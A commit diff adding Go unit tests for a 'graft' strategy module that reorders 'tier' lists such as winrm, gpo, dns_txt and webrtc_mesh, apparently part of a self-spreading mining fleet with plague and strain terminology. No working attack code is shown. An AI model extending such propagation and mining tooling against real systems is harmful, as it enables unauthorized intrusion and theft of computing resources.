Add fleet topology epidemiology: strain plague map and mining interrupt fixes.

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.

server/internal/strategy/graft_test.go

@@ -0,0 +1,53 @@
+package strategy
+
+import (
+	"testing"
+	"time"
+)
+
+func TestSpliceGraftGenomePrependsWinningTier(t *testing.T) {
+	graft := BuildGraftSourceFromAgent("src", "winner", "winrm", "#aabbcc", nil, 900)
+	order := SpliceGraftGenome([]string{"docker", "wsl", "gpo"}, graft)
+	if len(order) < 3 {
+		t.Fatalf("order too short: %v", order)
+	}
+	if order[0] != "winrm" {
+		t.Fatalf("winning tier should lead, got %v", order)
+	}
+}
+
+func TestGraftMetabolismGate(t *testing.T) {
+	if !GraftMetabolismGatePassed(100, 50) {
+		t.Fatal("expected pass above gate")
+	}
+	if GraftMetabolismGatePassed(10, 50) {
+		t.Fatal("expected fail below gate")
+	}
+	if !GraftMetabolismGatePassed(0, 0) {
+		t.Fatal("disabled gate should pass")
+	}
+}
+
+func TestBuildGraftPolicySplicesGenome(t *testing.T) {
+	graft := BuildGraftSourceFromAgent("a", "worker-07", "dns_txt", "#112233",
+		[]string{"dns_txt", "webrtc_mesh", "do_peer"}, 1200)
+	p := BuildGraftPolicy(graft, []string{"docker", "wsl"}, time.Date(2026, 6, 7, 12, 0, 0, 0, time.UTC))
+	if p.GraftTier != "dns_txt" || p.GraftSourceStrain != "#112233" {
+		t.Fatalf("graft fields: %+v", p)
+	}
+	if len(p.TierOrder) == 0 {
+		t.Fatal("expected spliced tier order")
+	}
+	if p.TierOrder[0] != "dns_txt" {
+		t.Fatalf("tier order = %v", p.TierOrder)
+	}
+}
+
+func TestGraftEnabledRequiresBothToggles(t *testing.T) {
+	if GraftEnabled(false, true) || GraftEnabled(true, false) {
+		t.Fatal("both toggles required")
+	}
+	if !GraftEnabled(true, true) {
+		t.Fatal("expected enabled")
+	}
+}